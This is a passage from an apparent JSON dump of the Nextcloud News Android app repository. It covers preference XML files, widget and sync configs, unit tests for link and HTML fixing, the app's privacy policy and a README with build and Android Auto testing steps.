    "content": "<androidx.preference.PreferenceScreen xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <PreferenceCategory\n        app:title=\"@string/pref_header_data_sync\"\n        app:iconSpaceReserved=\"false\">\n\n        <!--\n             NOTE: Hide buttons to simplify the UI. Users can touch outside the dialog to\n             dismiss it.\n        -->\n        <!-- NOTE: ListPreference's summary should be set to its value by the activity code. -->\n        <!--\n        <ListPreference\n            android:defaultValue=\"180\"\n            android:entries=\"@array/pref_sync_frequency_titles\"\n            android:entryValues=\"@array/pref_sync_frequency_values\"\n            android:key=\"sync_frequency\"\n            android:negativeButtonText=\"@null\"\n            android:positiveButtonText=\"@null\"\n            android:title=\"@string/pref_title_sync_frequency\" />\n        -->\n        <!--\n             This preference simply launches an intent when selected. Use this UI sparingly, per\n             design guidelines.\n        -->\n        <ListPreference\n            android:defaultValue=\"@integer/default_sync_minutes\"\n            android:entries=\"@array/array_sync_interval\"\n            android:entryValues=\"@array/array_sync_interval_values\"\n            android:key=\"pref_sync_settings\"\n            android:title=\"@string/interval_sync_title\"\n            app:iconSpaceReserved=\"false\"\n            />\n\n\n        <!--\n        <ListPreference\n            android:defaultValue=\"100\"\n            android:entries=\"@array/pref_data_sync_max_items\"\n            android:entryValues=\"@array/pref_data_sync_max_items_values\"\n            android:key=\"sync_max_items\"\n            android:negativeButtonText=\"@null\"\n            android:positiveButtonText=\"@null\"\n            android:title=\"@string/pref_title_data_sync_max_items\" />\n        -->\n\n        <Preference\n            android:key=\"edt_clearCache\"\n            android:title=\"@string/pref_title_clearCache\"\n            app:iconSpaceReserved=\"false\"/>\n\n\n        <ListPreference\n            android:defaultValue=\"0\"\n            android:entries=\"@array/pref_data_sync_image_cache\"\n            android:entryValues=\"@array/pref_data_sync_image_cache_values\"\n            android:key=\"lv_cacheImagesOffline\"\n            android:negativeButtonText=\"@null\"\n            android:positiveButtonText=\"@null\"\n            android:title=\"@string/pref_title_CacheImagesOffline\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <!--\n        <SwitchPreference\n            android:key=\"cb_cacheImagesOffline\"\n            android:title=\"@string/pref_title_CacheImagesOffline\" />\n        -->\n\n        <ListPreference\n            android:defaultValue=\"500\"\n            android:entries=\"@array/pref_data_sync_max_cache_size\"\n            android:entryValues=\"@array/pref_data_sync_max_cache_size_values\"\n            android:key=\"sp_max_cache_size\"\n            android:negativeButtonText=\"@null\"\n            android:positiveButtonText=\"@null\"\n            android:title=\"@string/pref_title_Max_Cache_Size\"\n            app:iconSpaceReserved=\"false\"/>\n\n    </PreferenceCategory>\n\n</androidx.preference.PreferenceScreen>"
  },
  {
    "path": "News-Android-App/src/main/res/xml/pref_display.xml",
    "content": "<androidx.preference.PreferenceScreen xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <PreferenceCategory\n        app:title=\"@string/pref_header_display\"\n        app:iconSpaceReserved=\"false\">\n\n        <!--\n             NOTE: Hide buttons to simplify the UI. Users can touch outside the dialog to\n             dismiss it.\n        -->\n        <!-- NOTE: ListPreference's summary should be set to its value by the activity code. -->\n\n        <ListPreference\n            android:defaultValue=\"0\"\n            android:entries=\"@array/pref_display_apptheme\"\n            android:entryValues=\"@array/pref_display_apptheme_values\"\n            android:key=\"sp_app_theme\"\n            android:title=\"@string/pref_title_app_theme\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_oled_mode\"\n            android:title=\"@string/pref_oled_mode\"\n            android:summary=\"@string/pref_oled_mode_summary\"\n            android:defaultValue=\"false\"\n            app:iconSpaceReserved=\"false\"/>\n\n\n        <ListPreference\n            android:defaultValue=\"6\"\n            android:entries=\"@array/pref_display_feed_list_layout\"\n            android:entryValues=\"@array/pref_display_feed_list_layout_values\"\n            android:key=\"sp_feed_list_layout\"\n            android:title=\"@string/pref_title_feed_list_layout\"\n            app:iconSpaceReserved=\"false\"/>\n\n\n        <ListPreference\n            android:defaultValue=\"1.0\"\n            android:entries=\"@array/pref_display_font_size\"\n            android:entryValues=\"@array/pref_display_font_size_values\"\n            android:key=\"sp_font_size\"\n            android:title=\"@string/pref_title_font_size\"\n            app:iconSpaceReserved=\"false\"/>\n\n\n        <SwitchPreference\n            android:key=\"cb_detailed_view_zoom\"\n            android:title=\"@string/pref_detailed_view_zoom\"\n            android:summary=\"@string/pref_detailed_view_zoom_summary\"\n            android:defaultValue=\"true\"\n            app:iconSpaceReserved=\"false\"/>\n\n\n        <ListPreference\n            android:defaultValue=\"0\"\n            android:entries=\"@array/pref_display_browser\"\n            android:entryValues=\"@array/pref_display_browser_values\"\n            android:key=\"sp_display_browser\"\n            android:title=\"@string/pref_display_browser\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_external_player\"\n            android:title=\"@string/pref_external_player\"\n            android:summary=\"@string/pref_external_player_summary\"\n            android:defaultValue=\"false\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <MultiSelectListPreference\n            android:entries=\"@array/pref_display_news_detail_actionbar_icons\"\n            android:entryValues=\"@array/pref_display_news_detail_actionbar_icons_values\"\n            android:key=\"sp_news_detail_actionbar_icons\"\n            android:defaultValue=\"@array/pref_display_news_detail_actionbar_icons_default_values\"\n            android:title=\"@string/pref_display_news_detail_actionbar_icons_title\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <!--\n             This preference simply launches an intent when selected. Use this UI sparingly, per\n             design guidelines.\n        -->\n        <!--\n        <Preference android:title=\"@string/pref_title_system_sync_settings\" >\n            <intent android:action=\"android.settings.SYNC_SETTINGS\" />\n        </Preference>\n        -->\n\n    </PreferenceCategory>\n\n</androidx.preference.PreferenceScreen>\n"
  },
  {
    "path": "News-Android-App/src/main/res/xml/pref_general.xml",
    "content": "<androidx.preference.PreferenceScreen xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <PreferenceCategory\n        app:title=\"@string/pref_header_general\"\n        app:iconSpaceReserved=\"false\">\n\n        <!--\n        <SwitchPreference\n            android:defaultValue=\"true\"\n            android:key=\"example_checkbox\"\n            android:summary=\"@string/pref_description_social_recommendations\"\n            android:title=\"@string/pref_title_social_recommendations\" />\n        -->\n        <!-- NOTE: EditTextPreference accepts EditText attributes. -->\n        <!-- NOTE: EditTextPreference's summary should be set to its value by the activity code. -->\n\n        <!--\n        <de.luhmer.owncloudnewsreader.preference.SigninPreference\n            android:key=\"sPref_signInDialog\"\n            android:title=\"Sign In\" />\n        -->\n\n        <!--\n        <EditTextPreference\n            android:key=\"edt_username\"\n            android:capitalize=\"words\"\n            android:defaultValue=\"@string/pref_default_username\"\n            android:inputType=\"text\"\n            android:maxLines=\"1\"\n            android:selectAllOnFocus=\"true\"\n            android:singleLine=\"true\"\n            android:title=\"@string/pref_title_username\" />\n\n        <EditTextPreference\n            android:key=\"edt_password\"\n            android:maxLines=\"1\"\n            android:selectAllOnFocus=\"true\"\n            android:singleLine=\"true\"\n            android:title=\"@string/pref_title_password\"\n            android:inputType=\"textPassword\" />\n\n\n        <EditTextPreference\n            android:key=\"edt_owncloudRootPath\"\n            android:defaultValue=\"@string/pref_default_owncloudRootPath\"\n            android:maxLines=\"1\"\n            android:selectAllOnFocus=\"true\"\n            android:singleLine=\"true\"\n            android:title=\"@string/pref_title_owncloudRootPath\"\n            android:inputType=\"textUri\" />\n\n        -->\n\n        <!--\n        <SwitchPreference\n            android:key=\"cb_AllowAllSSLCertificates\"\n            android:title=\"@string/pref_title_AllowAllSSLCertificates\" />\n\n        -->\n        <SwitchPreference\n            android:key=\"cb_AutoSyncOnStart\"\n            android:title=\"@string/pref_title_AutoSyncOnStart\"\n            app:iconSpaceReserved=\"false\"\n            android:defaultValue=\"true\"/>\n\n        <SwitchPreference\n            android:key=\"cb_ShowOnlyUnread\"\n            android:title=\"@string/pref_title_ShowOnlyUnread\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_NavigateWithVolumeButtons\"\n            android:title=\"@string/pref_title_NavigateWithVolumeButtons\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_MarkAsReadWhileScrolling\"\n            android:title=\"@string/pref_title_MarkAsReadWhileScrolling\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:defaultValue=\"false\"\n            android:key=\"cb_SyncWhenScrolledToBottom\"\n            android:title=\"@string/pref_title_SyncWhenScrolledToBottom\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:defaultValue=\"true\"\n            android:key=\"cb_ShowFastActions\"\n            android:title=\"@string/pref_title_ShowFastActions\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_openInBrowserDirectly\"\n            android:title=\"@string/pref_title_OpenInBrowserDirectly\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <SwitchPreference\n            android:key=\"cb_prefBackButtonOpensDrawer\"\n            android:title=\"@string/pref_title_BackButtonOpensDrawer\"\n            app:iconSpaceReserved=\"false\" />\n\n        <ListPreference\n            android:defaultValue=\"1\"\n            android:entries=\"@array/pref_general_swipe_action\"\n            android:entryValues=\"@array/pref_general_swipe_action_values\"\n            android:key=\"sp_swipe_right_action\"\n            android:title=\"@string/pref_rename_action_swipe_right\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <ListPreference\n            android:defaultValue=\"2\"\n            android:entries=\"@array/pref_general_swipe_action\"\n            android:entryValues=\"@array/pref_general_swipe_action_values\"\n            android:key=\"sp_swipe_left_action\"\n            android:title=\"@string/pref_rename_action_swipe_left\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <ListPreference\n            android:defaultValue=\"1\"\n            android:entries=\"@array/pref_general_sort_order\"\n            android:entryValues=\"@array/pref_general_sort_order_values_not_translated\"\n            android:key=\"sp_sort_order\"\n            android:title=\"@string/pref_title_general_sort_order\"\n            app:iconSpaceReserved=\"false\"/>\n    \n    \t<!-- Default is BOTH(2) -->\n        <ListPreference\n\t    android:defaultValue=\"2\" \n            android:entries=\"@array/pref_general_search_in\"\n            android:entryValues=\"@array/pref_general_search_in_values\"\n            android:key=\"sp_search_in\"\n            android:title=\"@string/pref_title_general_search_in\"\n            app:iconSpaceReserved=\"false\"/>\n\n        <!--\n             NOTE: Hide buttons to simplify the UI. Users can touch outside the dialog to\n             dismiss it.\n        -->\n        <!-- NOTE: ListPreference's summary should be set to its value by the activity code. -->\n        <!--\n        <ListPreference\n            android:defaultValue=\"-1\"\n            android:entries=\"@array/pref_example_list_titles\"\n            android:entryValues=\"@array/pref_example_list_values\"\n            android:key=\"example_list\"\n            android:negativeButtonText=\"@null\"\n            android:positiveButtonText=\"@null\"\n            android:title=\"@string/pref_title_add_friends_to_messages\" />\n    -->\n\n    </PreferenceCategory>\n\n</androidx.preference.PreferenceScreen>\n"
  },
  {
    "path": "News-Android-App/src/main/res/xml/syncadapter.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<sync-adapter\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:contentAuthority=\"@string/authority\"\n\tandroid:accountType=\"@string/account_type\"\n    android:userVisible=\"true\"\n    android:supportsUploading=\"false\" />"
  },
  {
    "path": "News-Android-App/src/main/res/xml/widget_info.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<appwidget-provider \n      xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:initialLayout=\"@layout/widget_layout\"\n    android:minHeight=\"72dp\"\n    android:minWidth=\"300dp\"\n    android:previewImage=\"@drawable/widget\"\n    android:updatePeriodMillis=\"10000\"\n    android:resizeMode=\"horizontal|vertical\" >\n\n</appwidget-provider> "
  },
  {
    "path": "News-Android-App/src/test/java/de/luhmer/owncloudnewsreader/asynctasks/RssItemToHtmlTaskTest.kt",
    "content": "package de.luhmer.owncloudnewsreader.asynctasks\n\nimport de.luhmer.owncloudnewsreader.async_tasks.RssItemToHtmlTask\nimport org.junit.Assert.assertEquals\nimport org.junit.Test\n\nclass RssItemToHtmlTaskTest {\n    @Test\n    fun moreThan10PreBlocks() {\n        val input = (1..11).joinToString(\" \") { \"<pre>$it</pre>\" }\n        val result = RssItemToHtmlTask.removeLineBreaksFromHtml(input)\n        assertEquals(input, result)\n    }\n\n    @Test\n    fun preBlockWithRegexReplacementChars() {\n        val input = \"<pre>$$$</pre>\"\n        val result = RssItemToHtmlTask.removeLineBreaksFromHtml(input)\n        assertEquals(input, result)\n    }\n\n    @Test\n    fun repeatedPreBlocks() {\n        val input = (1..11).joinToString(\" \") { \"<pre>1</pre>\" }\n        val result = RssItemToHtmlTask.removeLineBreaksFromHtml(input)\n        assertEquals(input, result)\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/test/java/de/luhmer/owncloudnewsreader/junit_tests/ImageHandlerTest.java",
    "content": "package de.luhmer.owncloudnewsreader.junit_tests;\n\nimport static org.junit.Assert.assertEquals;\nimport org.junit.Test;\n\nimport de.luhmer.owncloudnewsreader.helper.ImageHandler;\n\npublic class ImageHandlerTest {\n\n    @Test\n    public void testHref_CASE_MISSING_PROTOCOL() {\n        String articleUrl = \"https://www.reddit.com/\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"//abc.de\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"//abcd.de\\\">Test</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://abc.de\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://abcd.de\\\">Test</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_ABSOLUTE_URL() {\n        String articleUrl = \"https://www.reddit.com/r/MsMarvelShow/comments/vp6qrp/continuing_the_discussion/\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"/r/LokiTV\\\">r/LokiTV</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"/r/shehulk\\\">r/shehulk</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/r/LokiTV\\\">r/LokiTV</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/r/shehulk\\\">r/shehulk</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_RELATIVE_FILE_END() {\n        String articleUrl = \"https://www.reddit.com/subdir\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"articles/matrix-vs-xmpp.html\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"articles/matrix-vs-xmpp2.html\\\">Test</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/articles/matrix-vs-xmpp.html\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/articles/matrix-vs-xmpp2.html\\\">Test</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_RELATIVE_PARENT() {\n        String articleUrl = \"https://www.reddit.com/subdir\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"../articles/matrix-vs-xmpp.html\\\">Test</a></p>\"+\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"../articles/matrix-vs-xmpp.html2\\\">Test</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/articles/matrix-vs-xmpp.html\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/articles/matrix-vs-xmpp.html2\\\">Test</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_RELATIVE_ADD_HOST() {\n        String articleUrl = \"https://www.reddit.com/subdir/\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"subsubdir/articles.html\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"subsubdir/articles2.html\\\">Test</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/subdir/subsubdir/articles.html\\\">Test</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"https://www.reddit.com/subdir/subsubdir/articles2.html\\\">Test</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_RELATIVE_DOMAIN_OR_FILE() {\n        String articleUrl = \"https://sscpodcast.libsyn.com/eight-hundred-slightly-poisoned-word-games\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack.com\\\">astralcodexten.substack.com</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack2.com\\\">astralcodexten.substack2.com</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack.com\\\">astralcodexten.substack.com</a></p>\" +\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack2.com\\\">astralcodexten.substack2.com</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testHref_CASE_RELATIVE_DOMAIN_SUBPATH() {\n        String articleUrl = \"https://sscpodcast.libsyn.com/model-city-monday\";\n        String content =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack.com/subscribe\\\">astralcodexten.substack.com/subscribe</a></p>\" +\n                        \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack2.com/subscribe\\\">astralcodexten.substack2.com/subscribe</a></p>\";\n        String expectedResult =\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack.com/subscribe\\\">astralcodexten.substack.com/subscribe</a></p>\"+\n                \"<p><a rel=\\\"noreferrer\\\" href=\\\"astralcodexten.substack2.com/subscribe\\\">astralcodexten.substack2.com/subscribe</a></p>\";\n        String result = ImageHandler.fixBrokenHrefInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n\n    @Test\n    public void testImg_CASE_MISSING_PROTOCOL() {\n        String articleUrl = \"http://blog.cleancoder.com/uncle-bob/2021/03/06/ifElseSwitch.html\";\n        String content =\n                \"<p><img src=\\\"//blog.cleancoder.com/assets/ifElseSwitch.jpg\\\" alt=\\\"ifElseSwitch.jpg\\\" /></p>\" +\n                \"<p><img src=\\\"//blog.cleancoder.com/assets/ifElseSwitchPolymorphism.jpg\\\" alt=\\\"ifElseSwitchPolymorphism.jpg\\\" /></p>\";\n        String expectedResult =\n                \"<p><img src=\\\"https://blog.cleancoder.com/assets/ifElseSwitch.jpg\\\" alt=\\\"ifElseSwitch.jpg\\\" /></p><p>\" +\n                \"<img src=\\\"https://blog.cleancoder.com/assets/ifElseSwitchPolymorphism.jpg\\\" alt=\\\"ifElseSwitchPolymorphism.jpg\\\" /></p>\";\n        String result = ImageHandler.fixBrokenImageLinksInArticle(articleUrl, content);\n        assertEquals(expectedResult, result);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/test/java/de/luhmer/owncloudnewsreader/junit_tests/TestDbTest.java",
    "content": "/*\npackage de.luhmer.owncloudnewsreader.junit_tests;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.robolectric.Robolectric;\nimport org.robolectric.RobolectricTestRunner;\n\nimport java.security.SecureRandom;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\n@RunWith(RobolectricTestRunner.class)\npublic class TestDbTest {\n\n    private NewsReaderListActivity activity;\n    private static final String AB = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n    private static SecureRandom rnd = new SecureRandom();\n\n    @Before\n    public void setUp() {\n        activity = Robolectric.buildActivity(NewsReaderListActivity.class).create().get();\n    }\n\n    @Test\n    public void testDatabaseOversize() {\n        final DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(activity);\n        dbConn.resetDatabase();\n\n        Feed feed = new Feed();\n        feed.setId(0);\n        feed.setFeedTitle(\"Test\");\n        feed.setFolderId(0l);\n\n        List<Feed> feedList = new ArrayList<>();\n        feedList.add(feed);\n        dbConn.insertNewFeed(feedList);\n\n        String randomBody = randomString(1000000);\n\n        for (int i = 0; i < 1; i++) {\n            List<RssItem> buffer = new ArrayList<>();\n            for (int x = 0; x < 100; x++) {\n                RssItem rssItem = new RssItem();\n                rssItem.setId((i + 1) * x);\n                rssItem.setGuid(\"http://grulja.wordpress.com/?p=76\");\n                rssItem.setGuidHash(\"3059047a572cd9cd5d0bf645faffd077\");\n                rssItem.setLink(\"http://grulja.wordpress.com/2013/04/29/plasma-nm-after-the-solid-sprint/\");\n                rssItem.setTitle(randomString(10));\n                rssItem.setAuthor(\"Jan Grulich (grulja)\");\n                rssItem.setPubDate(new java.util.Date());\n                rssItem.setFeedId(0);\n                rssItem.setRead(false);\n                rssItem.setRead_temp(false);\n                rssItem.setStarred(false);\n                rssItem.setStarred_temp(false);\n                rssItem.setLastModified(new java.util.Date());\n                rssItem.setFingerprint(randomString(20));\n                rssItem.setBody(\"<p>\" + randomBody + \"</p>\");\n                buffer.add(rssItem);\n            }\n            dbConn.insertNewItems(buffer);\n        }\n    }\n\n    private String randomString( int len ){\n        StringBuilder sb = new StringBuilder( len );\n        for( int i = 0; i < len; i++ )\n            sb.append( AB.charAt( rnd.nextInt(AB.length()) ) );\n        return sb.toString();\n    }\n}\n*/"
  },
  {
    "path": "News-Android-App/src/test/resources/org.robolectric.Config.properties",
    "content": "# Robolectric doesn't know how to support SDK 19 yet.\nemulateSdk=18"
  },
  {
    "path": "PRIVACY.md",
    "content": "# Nextcloud News Android Privacy Policy\n\nThe \"Nextcloud News\" Android-App (in the following referred to as \"App\") does not collect or send any data from you or your device to a server of the developers or the [Nextcloud GmbH](https://nextcloud.com/). The App sends all data exclusively to the server configured by you with the intention to synchronize the contents of the App with those of the server. This data can contain IP-addresses, timestamps and further information as meta data.\nIt is important to mention that all contents of the App may also be transmitted to the configured server. This contents can also contain personal information depending on the use. The servers you configured are technically outside the access area of this App developers, so that we neither know nor can prevent what happens to your data there. Please consult the privacy policy of the respective server operator.\n\n----------\n\nCookies are files with a small amount of data that are commonly used as anonymous unique identifiers. These are sent to your browser from the websites that you visit and are stored on your device's internal memory.\n\nThis App does not use these “cookies” explicitly. However, some websites that provide RSS feeds might use “cookies” to collect information to improve their services.\nThe feeds that the user subscribes to have their own consent dialogs so that users of this app can either accept or refuse these cookies on a per-feed basis.\nIf users do not want any feeds to track them, they can enable the so called \"Incognito Mode\" inside the app which will block all tracking methods from feeds (no cookies / no tracking-images).\n\n----------\n\nIn order to use this app, users need to host a Nextcloud Server themselves. On this server they can subscribe to any RSS Feeds they want to.\n\n## Permissions\n\nThis is a list of permissions required and asked by the App in order to properly work on your device:\n\n- `android.permission.ACCESS_FINE_LOCATION`\n\n  Used to automatically switch between light / dark theme\n\n- `android.permission.INTERNET`\n\n  Used by [Nextcloud Single Sign On library](https://github.com/nextcloud/Android-SingleSignOn/) to communicate with your Nextcloud instance and synchronize contents.\n\n- `android.permission.ACCESS_NETWORK_STATE`\n\n  Used to provide offline support and make the \"Sync only on Wi-Fi\" option possible.\n\n- `android.permission.WRITE_EXTERNAL_STORAGE`\n\n  Used for caching purposes / offline reading / storing podcasts\n\n- `android.permission.INTERNET`\n\n  Used by [Nextcloud Single Sign On library](https://github.com/nextcloud/Android-SingleSignOn/) to communicate with your Nextcloud instance and synchronize contents.\n\n- `android.permission.GET_ACCOUNTS`\n\n  Used by [Nextcloud Single Sign On library](https://github.com/nextcloud/Android-SingleSignOn/) to read available accounts to import.\n\n- `android.permission.READ_SYNC_SETTINGS`\n\n  Used for background synchronization.\n\n- `android.permission.WRITE_SYNC_SETTINGS`\n\n  Used for background synchronization.\n\n- `android.permission.WAKE_LOCK`\n\n  Used for background synchronization.\n\n- `android.permission.FOREGROUND_SERVICE`\n\n  Used for background synchronization.\n\n\n\n## Contact\n\n- **David Luhmer**\n- **E-Mail:** david-dev(at)live.de\n- **Phone:** +49 2222 9770191\n\n\n## Nextcloud privacy policy\n\nYou can get more information on Nextcloud general privacy policy which is accessible at [nextcloud.com/privacy](https://nextcloud.com/privacy/).\n"
  },
  {
    "path": "README.md",
    "content": "# Nextcloud News for Android\n\n[![Android CI](https://github.com/nextcloud/news-android/workflows/Android%20CI/badge.svg)](https://github.com/nextcloud/news-android/actions)\n[![GitHub issues](https://img.shields.io/github/issues/nextcloud/news-android.svg)](https://github.com/nextcloud/news-android/issues)\n[![GitHub stars](https://img.shields.io/github/stars/nextcloud/news-android.svg)](https://github.com/nextcloud/news-android/stargazers)\n[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)\n[![CHANGELOG.md](https://img.shields.io/badge/Changelog-CHANGELOG.md-informational)](CHANGELOG.md)\n[![PayPal this git repo](https://img.shields.io/badge/Donate-PayPal-success.svg)]([https://www.paypal.com/donate?hosted_button_id=5TJ6LTEVTDF5J)\n\n\nAn Android client for [Nextcloud News App](https://github.com/nextcloud/news/).\n\n## ▶️ Access\n\n[![Latest Release](https://img.shields.io/github/v/release/nextcloud/news-android?label=latest+release&sort=semver&display_name=release)](https://github.com/nextcloud/news-android/releases)\n[![F-Droid Release](https://img.shields.io/f-droid/v/de.luhmer.owncloudnewsreader)](https://f-droid.org/de/packages/de.luhmer.owncloudnewsreader/)\n[![Beta channel](https://img.shields.io/badge/Play%0DStore-Beta%0Dchannel-informational)](https://play.google.com/apps/testing/de.luhmer.owncloudnewsreader)\n\n[<img src=\"https://play.google.com/intl/en_us/badges/images/generic/en_badge_web_generic.png\"\n      alt=\"Get it on Play Store\"\n      height=\"80\">](https://play.google.com/store/apps/details?id=de.luhmer.owncloudnewsreader&pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1)\n[<img src=\"https://f-droid.org/badge/get-it-on.png\"\n      alt=\"Get it on F-Droid\"\n      height=\"80\">](https://f-droid.org/app/de.luhmer.owncloudnewsreader)\n[<img src=\"https://raw.githubusercontent.com/stefan-niedermann/paypal-donate-button/master/paypal-donate-button.png\"\n      alt=\"Donate with PayPal\"\n      height=\"80\">](https://www.paypal.com/donate?hosted_button_id=5TJ6LTEVTDF5J)\n\n\n## 👀 Screenshots\n\n| 1 | 2 | 3 |\n| --- | --- | --- |\n| ![Feed list](https://raw.githubusercontent.com/nextcloud/news-android/master/fastlane/metadata/android/en-US/images/phoneScreenshots/1_en-US.png) | ![Articles](https://raw.githubusercontent.com/nextcloud/news-android/master/fastlane/metadata/android/en-US/images/phoneScreenshots/2_en-US.png) | ![Details](https://raw.githubusercontent.com/nextcloud/news-android/master/fastlane/metadata/android/en-US/images/phoneScreenshots/4_en-US.png) |\n\n## 👪 Join the team\n* Test the app with different devices\n* Report issues in the [issue tracker](https://github.com/nextcloud/news-android/issues)\n* [Pick a good first issue](https://github.com/nextcloud/news-android/labels/good%20first%20issue) :notebook:\n* Create a [Pull Request](https://opensource.guide/how-to-contribute/#opening-a-pull-request)\n* Help increasing the test coverage by contributing unit tests\n* Translate the app on [Transifex](https://app.transifex.com/nextcloud/nextcloud/android-news/) \n* Send me a bottle of your favorite beer :beers: :wink:\n\n## How to compile the App\n\n### Requirements\n\n1. [Android Studio](https://developer.android.com/studio/)\n\n### Download and install\n\n1. Open cmd/terminal\n2. Navigate to your workspace\n3. Then type in: `git clone https://github.com/nextcloud/news-android.git`\n4. Import the Project in Android Studio and start coding!\n   \n### Testing with Android Auto\n\n1. Open Android Studio, click on \"Tools\" -> \"SDK Manager\"\n2. Select and install \"Android Auto API Simulators\"\n3. Open terminal, go to <android-sdk>/extras/google/simulators (e.g. `cd ~/Library/Android/sdk/extras/google/simulators`)\n4. Install apk using adb (`../../../platform-tools/adb install media-browser-simulator.apk`)\n5. Install apk using adb (`../../../platform-tools/adb install messaging-simulator.apk`)\n\n### Advanced Testing Android Auto (e.g. Voice Features) [Link](https://developer.android.com/training/cars/testing)\n\n1. Install Android 9 in an Emulator (Android 10 didn't work with the Android Auto App)\n2. Install Android Auto from PlayStore\n3. Follow instructions on training website (see link above)\n4. `~/Library/Android/sdk/platform-tools/adb forward tcp:5277 tcp:5277\n5. `cd ~/Library/Android/sdk/extras/google/auto`\n6. `./desktop-head-unit`\n7. From inside the terminal type: `mic play ./voice/pause.wav`\n\nThat's all. I hope it works for you! If something is not working, please send me an email to\ndavid-dev@live.de\n\n### Updating the database schema\n\n- Edit Database Schema in `LastestVersion.java`\n      - Make sure to increase version number inside `getVersionNumber` function\n- Open build.gradle and uncomment imports annotated with `// Required for DAO generation`\n- 